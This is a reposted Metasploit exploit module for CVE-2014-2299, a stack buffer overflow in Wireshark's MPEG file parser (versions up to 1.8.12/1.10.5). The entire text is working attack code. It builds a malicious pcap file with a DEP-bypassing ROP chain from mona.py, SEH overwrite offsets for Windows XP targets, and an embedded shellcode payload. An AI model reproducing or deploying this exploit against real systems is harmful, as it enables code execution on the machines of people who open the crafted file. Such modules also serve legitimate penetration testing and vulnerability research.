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- X-SYSTEM
- Vuln. Buffer Overflow in wireshark 1.8.12/1.10.5
- S.C.R.I.P.T ↓ :
- # Exploit Title: Wireshark 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer
- Overflow
- # Date: 24/04/2014
- # Exploit Author: j0sm1
- # Vendor Homepage: www.wireshark.org
- # Software Link: http://wireshark.askapache.com/download/win32/all-versions/
- # Version: < 1.8.12/1.10.5
- # Tested on: Windows XP SP3
- # CVE : cve-2014-2299
- # Metasploit URL module:
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb
- #
- # This module requires Metasploit: http//metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- require 'msf/core'
- class Metasploit3 < Msf::Exploit::Remote
- Rank = GoodRanking
- include Msf::Exploit::FILEFORMAT
- include Msf::Exploit::Remote::Seh
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Wireshark <= 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow',
- 'Description' => %q{
- This module triggers a stack buffer overflow in Wireshark <= 1.8.12/1.10.5
- by generating an malicious file.)
- },
- 'License' => MSF_LICENSE,
- 'Author' =>
- [
- 'Wesley Neelen', # Discovery vulnerability
- 'j0sm1', # Exploit and msf module
- ],
- 'References' =>
- [
- [ 'CVE', '2014-2299'],
- [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=9843' ],
- [ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2014-04.html' ],
- [ 'URL', 'http://www.securityfocus.com/bid/66066/info' ]
- ],
- 'DefaultOptions' =>
- {
- 'EXITFUNC' => 'process',
- },
- 'Payload' =>
- {
- 'BadChars' => "\xff",
- 'Space' => 600,
- 'DisableNops' => 'True',
- 'PrependEncoder' => "\x81\xec\xc8\x00\x00\x00" # sub esp,200
- },
- 'Platform' => 'win',
- 'Targets' =>
- [
- [ 'WinXP SP3 Spanish (bypass DEP)',
- {
- 'OffSet' => 69732,
- 'OffSet2' => 70476,
- 'Ret' => 0x1c077cc3, # pop/pop/ret -> "c:\Program Files\Wireshark\krb5_32.dll" (version: 1.6.3.16)
- 'jmpesp' => 0x68e2bfb9,
- }
- ],
- [ 'WinXP SP2/SP3 English (bypass DEP)',
- {
- 'OffSet2' => 70692,
- 'OffSet' => 70476,
- 'Ret' => 0x1c077cc3, # pop/pop/ret -> krb5_32.dll module
- 'jmpesp' => 0x68e2bfb9,
- }
- ],
- ],
- 'Privileged' => false,
- 'DisclosureDate' => 'Mar 20 2014'
- ))
- register_options(
- [
- OptString.new('FILENAME', [ true, 'pcap file', 'mpeg_overflow.pcap']),
- ], self.class)
- end
- def create_rop_chain()
- # rop chain generated with mona.py - www.corelan.be
- rop_gadgets =
- [
- 0x61863c2a, # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
- 0x62d9027c, # ptr to &VirtualProtect() [IAT libcares-2.dll]
- 0x61970969, # MOV EAX,DWORD PTR DS:[EAX] # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
- 0x61988cf6, # XCHG EAX,ESI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
- 0x619c0a2a, # POP EBP # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
- 0x61841e98, # & push esp # ret [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
- 0x6191d11a, # POP EBX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
- 0x00000201, # 0x00000201-> ebx
- 0x5a4c1414, # POP EDX # RETN [zlib1.dll, ver: 1.2.5.0]
- 0x00000040, # 0x00000040-> edx
- 0x6197660f, # POP ECX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
- 0x668242b9, # &Writable location [libgnutls-26.dll]
- 0x6199b8a5, # POP EDI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0
- 0x63a528c2, # RETN (ROP NOP) [libgobject-2.0-0.dll]
- 0x61863c2a, # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
- 0x90909090, # nop
- 0x6199652d, # PUSHAD # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
- ].flatten.pack("V*")
- return rop_gadgets
- end
- def exploit
- print_status("Creating '#{datastore['FILENAME']}' file ...")
- ropchain = create_rop_chain
- magic_header = "\xff\xfb\x41" # mpeg magic_number(MP3) -> http://en.wikipedia.org/wiki/MP3#File_structure
- # Here we build the packet data
- packet = rand_text_alpha(883)
- packet << "\x6c\x7d\x37\x6c" # NOP RETN
- packet << "\x6c\x7d\x37\x6c" # NOP RETN
- packet << ropchain
- packet << payload.encoded # Shellcode
- packet << rand_text_alpha(target['OffSet'] - 892 - ropchain.length - payload.encoded.length)
- # 0xff is a badchar for this exploit then we can't make a jump back with jmp $-2000
- # After nseh and seh we haven't space, then we have to jump to another location.
- # When file is open with command line. This is NSEH/SEH overwrite
- packet << make_nops(4) # nseh
- packet << "\x6c\x2e\xe0\x68" # ADD ESP,93C # MOV EAX,EBX # POP EBX # POP ESI # POP EDI # POP EBP # RETN
- packet << rand_text_alpha(target['OffSet2'] - target['OffSet'] - 8) # junk
- # When file is open with GUI interface. This is NSEH/SEH overwrite
- packet << make_nops(4) # nseh
- # seh -> # ADD ESP,86C # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [libjpeg-8.dll] **
- packet << "\x55\x59\x80\x6b"
- print_status("Preparing payload")
- filecontent = magic_header
- filecontent << packet
- print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes")
- file_create(filecontent)
- end
- end
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